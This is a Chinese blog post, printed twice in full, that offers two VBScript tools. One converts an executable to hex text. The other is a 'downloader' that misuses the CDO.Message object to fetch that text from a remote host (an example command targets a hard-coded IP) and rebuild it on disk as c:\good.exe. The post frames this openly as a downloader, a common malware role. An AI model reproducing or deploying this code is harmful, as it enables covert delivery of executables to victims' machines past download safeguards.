VBS 下載方法(CDO.MESSAGE)
更新時間:2009年07月27日 00:31:11 作者:
LCX在寫他的BLOG備份腳本時發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。
于是研究了一會。寫出個粗糙的DEMO。
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
================================================
'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function
======================================
下載者 down.vbs
=============
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法:
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
================================================
復(fù)制代碼 代碼如下:
'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function
======================================
下載者 down.vbs
=============
復(fù)制代碼 代碼如下:
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法:
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe
相關(guān)文章
vbs 批量修改文件,bat 批處理文件調(diào)用執(zhí)行vbs,并在cmd窗口打印返回值(vbs運(yùn)行結(jié)果)
使用vbs 腳本對工作目錄下的字符串進(jìn)行替換并統(tǒng)計(jì)被修改的文件數(shù)主調(diào)的批處理方法將捕捉該vbs腳本運(yùn)行后的結(jié)果并打印在cmd窗口。2011-09-09
vbs循環(huán)產(chǎn)生的參數(shù)的傳遞問題
用vbs實(shí)現(xiàn)循環(huán)產(chǎn)生參數(shù)的傳遞問題,建議大家測試學(xué)習(xí)2008-06-06
VBS數(shù)組函數(shù)學(xué)習(xí)實(shí)例分析
這篇文章主要介紹了VBS數(shù)組函數(shù)學(xué)習(xí)實(shí)例分析,需要的朋友可以參考下2018-06-06
自動寫入文件上傳到指定服務(wù)器SoftwareMeteringCLS.vbs源碼
本次文章其中所用腳本代碼為ghiconan版主提供的由Branimir petrovic編寫的代碼,我在后面根據(jù)我公司現(xiàn)有的網(wǎng)絡(luò)情況做了一些文件管理的添加與刪除,最后有用FTP批處理的方法上傳到服務(wù)器內(nèi)!2008-12-12
VBS讀取配置文件配置項(xiàng)的實(shí)現(xiàn)代碼
今天寫代碼的時候需要用到vbs獲取文件配置項(xiàng),不用放數(shù)據(jù)庫里面,要不增刪改查都要做一篇,本身功能就簡單,這里就為大家分享一下實(shí)現(xiàn)代碼,需要的朋友可以參考下2019-09-09

